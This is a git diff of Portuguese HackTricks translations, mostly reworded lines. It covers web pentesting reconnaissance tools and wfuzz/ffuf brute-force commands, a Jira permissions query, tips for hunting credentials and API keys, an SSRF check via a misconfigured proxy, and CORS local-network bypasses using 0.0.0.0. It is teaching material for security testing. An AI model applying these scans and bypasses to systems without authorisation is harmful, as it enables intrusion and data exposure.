|
|||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
### Vulnerabilidades SSL/TLS:
|
||||
Informações sobre vulnerabilidades SSL/TLS:
|
||||
|
||||
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
@ -222,7 +222,7 @@ Inicie algum tipo de **spider** na web. O objetivo do spider é **encontrar o m
|
|||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder em arquivos JS e fontes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HTML, com LinkFinder para arquivos JS e Archive.org como fonte externa.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider HTML, também indica "arquivos suculentos".
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interativo com CLI. Também pesquisa no Archive.org.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interativo via CLI. Também pesquisa no Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Esta ferramenta não é um spider, mas pode ser útil. Você pode indicar um arquivo com hosts e um arquivo com caminhos e o meg buscará cada caminho em cada host e salvará a resposta.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML com capacidades de renderização JS. No entanto, parece estar desatualizado, a versão pré-compilada é antiga e o código atual não compila.
|
||||
* [**gau**](https://github.com/lc/gau) (go): Spider HTML que usa provedores externos (wayback, otx, commoncrawl).
|
||||
|
@ -231,16 +231,16 @@ Inicie algum tipo de **spider** na web. O objetivo do spider é **encontrar o m
|
|||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, com capacidades de embelezamento JS capaz de buscar novos caminhos em arquivos JS. Também vale a pena dar uma olhada no [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto na fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, equipes vermelhas, ninjas de segurança da informação.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Um script python 2.7 usando Tornado e JSBeautifier para analisar URLs relativas de arquivos JavaScript. Útil para descobrir facilmente solicitações AJAX. Parece estar desatualizado.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando uma expressão regular engenhosa para encontrar e extrair os URLs relativos de arquivos feios (minify).
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs usando uma expressão regular inteligente para encontrar e extrair URLs relativas de arquivos feios (minificados).
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, várias ferramentas): Reúna informações interessantes de arquivos JS usando várias ferramentas.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Encontre arquivos JS.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregue uma página em um navegador sem cabeça e imprima todos os URLs carregados para carregar a página.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregue uma página em um navegador sem cabeça e imprima todas as URLs carregadas para carregar a página.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Ferramenta de descoberta de conteúdo que combina várias opções das ferramentas anteriores.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Uma extensão do Burp para encontrar caminhos e parâmetros em arquivos JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uma ferramenta que, dado o URL .js.map, fornecerá o código JS beatificado.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uma ferramenta que, dado o URL .js.map, fornecerá o código JS embelezado.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta é uma ferramenta usada para descobrir endpoints para um alvo específico.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubra links do wayback machine (também baixando as respostas no wayback e procurando mais links).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastreie (mesmo preenchendo formulários) e também encontre informações sensíveis usando regexes específicas.
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastreie (mesmo preenchendo formulários) e também encontre informações sensíveis usando regex específicas.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um avançado Crawler/Spider de segurança web GUI multi-feature projetado para profissionais de segurança cibernética.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código fonte JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples extensão do **Burp Suite** para **extrair os parâmetros e endpoints** da solicitação para criar uma lista de palavras personalizada para fuzzing e enumeração.
|
||||
|
@ -256,7 +256,7 @@ Ferramentas:
|
|||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rápido, suporta pesquisa recursiva.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Rápido: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Este não é um spider, mas uma ferramenta que, dada a lista de URLs encontrados, irá excluir URLs "duplicados".
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Este não é um spider, mas uma ferramenta que, dada a lista de URLs encontradas, irá excluir URLs "duplicadas".
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Extensão do Burp para criar uma lista de diretórios do histórico do burp de diferentes páginas.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remova URLs com funcionalidades duplicadas (com base em importações de js).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer para detectar tecnologias usadas e selecionar as listas de palavras a serem usadas.
|
||||
|
@ -266,7 +266,7 @@ Ferramentas:
|
|||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||
* Dicionário incluído no **Dirsearch**
|
||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
* [Listas de palavras da Assetnote](https://wordlists.assetnote.io)
|
||||
* [Listas de palavras Assetnote](https://wordlists.assetnote.io)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
* raft-large-directories-lowercase.txt
|
||||
* directory-list-2.3-medium.txt
|
||||
|
@ -291,21 +291,21 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
|
|||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Comentários:** Verifique os comentários de todos os arquivos, você pode encontrar **credenciais** ou **funcionalidades ocultas**.
|
||||
* Se você está participando de um **CTF**, um "truque" comum é **esconder informações** dentro de comentários no **final** da **página** (usando **centenas** de **espaços** para que você não veja os dados ao abrir o código-fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página da web.
|
||||
* Se você está participando de um **CTF**, um "truque" comum é **esconder informações** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados ao abrir o código-fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **ocultar informações** em um comentário na **parte inferior** da página da web.
|
||||
* **Chaves de API**: Se você **encontrar alguma chave de API**, há um guia que indica como usar chaves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Chaves de API do Google: Se você encontrar alguma chave de API parecida com **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, você pode usar o projeto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar quais APIs a chave pode acessar.
|
||||
* **Buckets S3**: Durante a spidering, verifique se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/).
|
||||
* **Buckets S3**: Ao spidering, verifique se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/).
|
||||
|
||||
### Descobertas especiais
|
||||
|
||||
**Enquanto** realiza a **spidering** e **força bruta**, você pode encontrar **coisas interessantes** que precisa **observar**.
|
||||
**Enquanto** realiza o **spidering** e a **força bruta**, você pode encontrar **coisas interessantes** que precisa **observar**.
|
||||
|
||||
**Arquivos interessantes**
|
||||
|
||||
* Procure por **links** para outros arquivos dentro dos arquivos **CSS**.
|
||||
* [Se você encontrar um arquivo _**.git**_, algumas informações podem ser extraídas](git.md)
|
||||
* Se você encontrar um arquivo _**.env**_, informações como chaves de API, senhas de bancos de dados e outras informações podem ser encontradas.
|
||||
* Se você encontrar **pontos de extremidade de API**, você [também deve testá-los](web-api-pentesting.md). Eles não são arquivos, mas provavelmente "se parecerão" com eles.
|
||||
* Se você encontrar **pontos de extremidade de API**, você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles.
|
||||
* **Arquivos JS**: Na seção de spidering, foram mencionadas várias ferramentas que podem extrair caminhos de arquivos JS. Também seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma alteração pode indicar a introdução de uma vulnerabilidade potencial no código. Você poderia usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Você também deve verificar os arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para verificar se são vulneráveis.
|
||||
* **Desofuscador e descompactador de Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
|
@ -313,7 +313,7 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
|
|||
* **Desofuscação JsFuck** (javascript com caracteres:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* Em várias ocasiões, você precisará **entender as expressões regulares** usadas, isso será útil: [https://regex101.com/](https://regex101.com)
|
||||
* Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma alteração no parâmetro ou a aparição de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial.
|
||||
* Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma alteração no parâmetro ou o surgimento de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
|
@ -323,7 +323,7 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
|
|||
|
||||
**502 Proxy Error**
|
||||
|
||||
Se alguma página **responder** com esse **código**, provavelmente é um **proxy mal configurado**. **Se você enviar uma solicitação HTTP como: `GET https://google.com HTTP/1.1`** (com o cabeçalho host e outros cabeçalhos comuns), o **proxy** tentará **acessar** _**google.com**_ **e você terá encontrado um** SSRF.
|
||||
Se alguma página **responder** com esse **código**, provavelmente é um **proxy mal configurado**. **Se você enviar uma solicitação HTTP como: `GET https://google.com HTTP/1.1`** (com o cabeçalho host e outros cabeçalhos comuns), o **proxy** tentará acessar _**google.com**_ **e você terá encontrado um** SSRF.
|
||||
|
||||
**Autenticação NTLM - Divulgação de informações**
|
||||
|
||||
|
@ -336,7 +336,7 @@ Você pode **automatizar** isso usando o plugin **nmap** "_http-ntlm-info.nse_".
|
|||
É possível **inserir conteúdo** dentro de um **redirecionamento**. Esse conteúdo **não será mostrado ao usuário** (pois o navegador executará o redirecionamento), mas algo pode ser **oculto** lá.
|
||||
### Verificação de Vulnerabilidades Web
|
||||
|
||||
Agora que foi realizada uma enumeração abrangente da aplicação web, é hora de verificar muitas possíveis vulnerabilidades. Você pode encontrar a lista de verificação aqui:
|
||||
Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de verificar muitas possíveis vulnerabilidades. Você pode encontrar a lista de verificação aqui:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology/" %}
|
||||
[web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/)
|
||||
|
@ -352,9 +352,9 @@ Encontre mais informações sobre vulnerabilidades web em:
|
|||
|
||||
Você pode usar ferramentas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorar páginas em busca de modificações que possam inserir vulnerabilidades.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -78,9 +78,9 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
|
|||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -88,7 +88,7 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável -
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
|
|
@ -6,32 +6,32 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## O que é CORS?
|
||||
|
||||
O padrão Cross-Origin Resource Sharing (CORS) **permite que os servidores definam quem pode acessar seus ativos** e **quais métodos de solicitação HTTP são permitidos** de fontes externas.
|
||||
Cross-Origin Resource Sharing (CORS) padrão **permite que servidores definam quem pode acessar seus ativos** e **quais métodos de solicitação HTTP são permitidos** de fontes externas.
|
||||
|
||||
Uma política de **mesma origem** exige que um **servidor solicitante** de um recurso e o servidor que hospeda o **recurso** compartilhem o mesmo protocolo (por exemplo, `http://`), nome de domínio (por exemplo, `internal-web.com`) e **porta** (por exemplo, 80). Sob essa política, apenas páginas da web do mesmo domínio e porta têm permissão para acessar os recursos.
|
||||
Uma política de **mesma origem** exige que um **servidor solicitante** de um recurso e o servidor que hospeda o **recurso** compartilhem o mesmo protocolo (por exemplo, `http://`), nome de domínio (por exemplo, `internal-web.com`), e **porta** (por exemplo, 80). Sob essa política, apenas páginas da web do mesmo domínio e porta têm permissão para acessar os recursos.
|
||||
|
||||
A aplicação da política de mesma origem no contexto de `http://normal-website.com/example/example.html` é ilustrada da seguinte forma:
|
||||
|
||||
| URL acessada | Acesso permitido? |
|
||||
| ----------------------------------------- | ---------------------------------- |
|
||||
| URL acessada | Acesso permitido? |
|
||||
| ----------------------------------------- | --------------------------------------- |
|
||||
| `http://normal-website.com/example/` | Sim: Esquema, domínio e porta idênticos |
|
||||
| `http://normal-website.com/example2/` | Sim: Esquema, domínio e porta idênticos |
|
||||
| `https://normal-website.com/example/` | Não: Esquema e porta diferentes |
|
||||
| `http://en.normal-website.com/example/` | Não: Domínio diferente |
|
||||
| `http://www.normal-website.com/example/` | Não: Domínio diferente |
|
||||
| `http://normal-website.com:8080/example/` | Não: Porta diferente* |
|
||||
| `https://normal-website.com/example/` | Não: Esquema e porta diferentes |
|
||||
| `http://en.normal-website.com/example/` | Não: Domínio diferente |
|
||||
| `http://www.normal-website.com/example/` | Não: Domínio diferente |
|
||||
| `http://normal-website.com:8080/example/` | Não: Porta diferente\* |
|
||||
|
||||
*O Internet Explorer ignora o número da porta na aplicação da política de mesma origem, permitindo assim esse acesso.
|
||||
\*O Internet Explorer ignora o número da porta na aplicação da política de mesma origem, permitindo assim esse acesso.
|
||||
|
||||
### Cabeçalho `Access-Control-Allow-Origin`
|
||||
|
||||
|
@ -74,9 +74,9 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
|
||||
### Compreensão das Solicitações de Pré-voo na Comunicação entre Domínios
|
||||
|
||||
Ao iniciar uma solicitação entre domínios sob condições específicas, como usar um **método HTTP não padrão** (qualquer coisa diferente de HEAD, GET, POST), introduzir novos **cabeçalhos**, ou empregar um valor de cabeçalho **Content-Type** especial, pode ser necessária uma solicitação de pré-voo. Essa solicitação preliminar, aproveitando o método **`OPTIONS`**, serve para informar o servidor sobre as intenções da futura solicitação entre origens, incluindo os métodos e cabeçalhos HTTP que pretende usar.
|
||||
Ao iniciar uma solicitação entre domínios sob condições específicas, como usar um **método HTTP não padrão** (qualquer coisa além de HEAD, GET, POST), introduzir novos **cabeçalhos**, ou empregar um valor especial de **cabeçalho Content-Type**, pode ser necessária uma solicitação de pré-voo. Essa solicitação preliminar, utilizando o método **`OPTIONS`**, serve para informar o servidor sobre as intenções da futura solicitação entre origens, incluindo os métodos e cabeçalhos HTTP que pretende usar.
|
||||
|
||||
O protocolo de **Compartilhamento de Recursos de Origem Cruzada (CORS)** exige essa verificação de pré-voo para determinar a viabilidade da operação entre origens solicitada, verificando os métodos permitidos, cabeçalhos e a confiabilidade da origem. Para entender em detalhes quais condições contornam a necessidade de uma solicitação de pré-voo, consulte o guia abrangente fornecido pela [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
|
||||
O protocolo de **Compartilhamento de Recursos de Origem Cruzada (CORS)** exige essa verificação de pré-voo para determinar a viabilidade da operação entre origens solicitada, verificando os métodos e cabeçalhos permitidos, e a confiabilidade da origem. Para entender em detalhes quais condições contornam a necessidade de uma solicitação de pré-voo, consulte o guia abrangente fornecido pela [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
|
||||
É crucial observar que a **ausência de uma solicitação de pré-voo não anula a necessidade de a resposta conter cabeçalhos de autorização**. Sem esses cabeçalhos, o navegador fica incapacitado em sua capacidade de processar a resposta da solicitação entre origens.
|
||||
|
||||
|
@ -99,21 +99,19 @@ Access-Control-Allow-Headers: Authorization
|
|||
Access-Control-Allow-Credentials: true
|
||||
Access-Control-Max-Age: 240
|
||||
```
|
||||
- **`Access-Control-Allow-Headers`**: Este cabeçalho especifica quais cabeçalhos podem ser usados durante a solicitação real. É definido pelo servidor para indicar os cabeçalhos permitidos em solicitações do cliente.
|
||||
- **`Access-Control-Expose-Headers`**: Através deste cabeçalho, o servidor informa ao cliente sobre quais cabeçalhos podem ser expostos como parte da resposta, além dos cabeçalhos de resposta simples.
|
||||
- **`Access-Control-Max-Age`**: Este cabeçalho indica por quanto tempo os resultados de uma solicitação prévia podem ser armazenados em cache. O servidor define o tempo máximo, em segundos, que as informações retornadas por uma solicitação prévia podem ser reutilizadas.
|
||||
- **`Access-Control-Request-Headers`**: Usado em solicitações prévias, este cabeçalho é definido pelo cliente para informar ao servidor sobre quais cabeçalhos HTTP o cliente deseja usar na solicitação real.
|
||||
- **`Access-Control-Request-Method`**: Este cabeçalho, também usado em solicitações prévias, é definido pelo cliente para indicar qual método HTTP será usado na solicitação real.
|
||||
- **`Origin`**: Este cabeçalho é definido automaticamente pelo navegador e indica a origem da solicitação entre origens diferentes. É usado pelo servidor para avaliar se a solicitação recebida deve ser permitida ou negada com base na política CORS.
|
||||
* **`Access-Control-Allow-Headers`**: Este cabeçalho especifica quais cabeçalhos podem ser usados durante a solicitação real. É definido pelo servidor para indicar os cabeçalhos permitidos em solicitações do cliente.
|
||||
* **`Access-Control-Expose-Headers`**: Através deste cabeçalho, o servidor informa o cliente sobre quais cabeçalhos podem ser expostos como parte da resposta, além dos cabeçalhos de resposta simples.
|
||||
* **`Access-Control-Max-Age`**: Este cabeçalho indica por quanto tempo os resultados de uma solicitação pré-voo podem ser armazenados em cache. O servidor define o tempo máximo, em segundos, que as informações retornadas por uma solicitação pré-voo podem ser reutilizadas.
|
||||
* **`Access-Control-Request-Headers`**: Usado em solicitações pré-voo, este cabeçalho é definido pelo cliente para informar o servidor sobre quais cabeçalhos HTTP o cliente deseja usar na solicitação real.
|
||||
* **`Access-Control-Request-Method`**: Este cabeçalho, também usado em solicitações pré-voo, é definido pelo cliente para indicar qual método HTTP será usado na solicitação real.
|
||||
* **`Origin`**: Este cabeçalho é definido automaticamente pelo navegador e indica a origem da solicitação entre origens. É usado pelo servidor para avaliar se a solicitação recebida deve ser permitida ou negada com base na política CORS.
|
||||
|
||||
|
||||
Observe que geralmente (dependendo do tipo de conteúdo e cabeçalhos definidos) em uma solicitação **GET/POST nenhum pedido de pré-voo é enviado** (a solicitação é enviada **diretamente**), mas se você deseja acessar os **cabeçalhos/corpo da resposta**, ela deve conter um cabeçalho _Access-Control-Allow-Origin_ permitindo isso.\
|
||||
Observe que geralmente (dependendo do tipo de conteúdo e cabeçalhos definidos) em uma solicitação **GET/POST nenhum pedido pré-voo é enviado** (a solicitação é enviada **diretamente**), mas se você deseja acessar os **cabeçalhos/corpo da resposta**, ela deve conter um cabeçalho _Access-Control-Allow-Origin_ permitindo isso.\
|
||||
**Portanto, CORS não protege contra CSRF (mas pode ser útil).**
|
||||
|
||||
### **Solicitação de Rede Local Pré-voo**
|
||||
|
||||
1. **`Access-Control-Request-Local-Network`**: Este cabeçalho é incluído na solicitação do cliente para indicar que a consulta é direcionada a um recurso de rede local. Ele serve como um marcador para informar ao servidor que a solicitação se origina de dentro da rede local.
|
||||
|
||||
2. **`Access-Control-Allow-Local-Network`**: Em resposta, os servidores utilizam este cabeçalho para comunicar que o recurso solicitado está autorizado a ser compartilhado com entidades fora da rede local. Ele atua como um sinal verde para compartilhar recursos entre diferentes limites de rede, garantindo acesso controlado enquanto mantém protocolos de segurança.
|
||||
|
||||
Uma **resposta válida permitindo a solicitação de rede local** também precisa ter na resposta o cabeçalho `Access-Controls-Allow-Local_network: true`:
|
||||
|
@ -130,22 +128,20 @@ Content-Length: 0
|
|||
{% hint style="warning" %}
|
||||
Note que o IP linux **0.0.0.0** funciona para **burlar** esses requisitos para acessar o localhost, pois esse endereço IP não é considerado "local".
|
||||
|
||||
Também é possível **burlar os requisitos da Rede Local** se você usar o **endereço IP público de um ponto de extremidade local** (como o IP público do roteador). Pois em várias ocasiões, mesmo se o **IP público** estiver sendo acessado, se for **da rede local**, o acesso será concedido.
|
||||
|
||||
|
||||
Também é possível **burlar os requisitos da Rede Local** se você usar o **endereço IP público de um ponto final local** (como o IP público do roteador). Pois em várias ocasiões, mesmo se o **IP público** estiver sendo acessado, se for **da rede local**, o acesso será concedido.
|
||||
{% endhint %}
|
||||
|
||||
## Configurações incorretas exploráveis
|
||||
|
||||
Foi observado que a definição de `Access-Control-Allow-Credentials` como **`true`** é um requisito para a maioria dos **ataques reais**. Essa configuração permite que o navegador envie credenciais e leia a resposta, aumentando a eficácia do ataque. Sem isso, o benefício de fazer com que um navegador emita uma solicitação em vez de fazê-lo por conta própria diminui, pois torna-se inviável aproveitar os cookies de um usuário.
|
||||
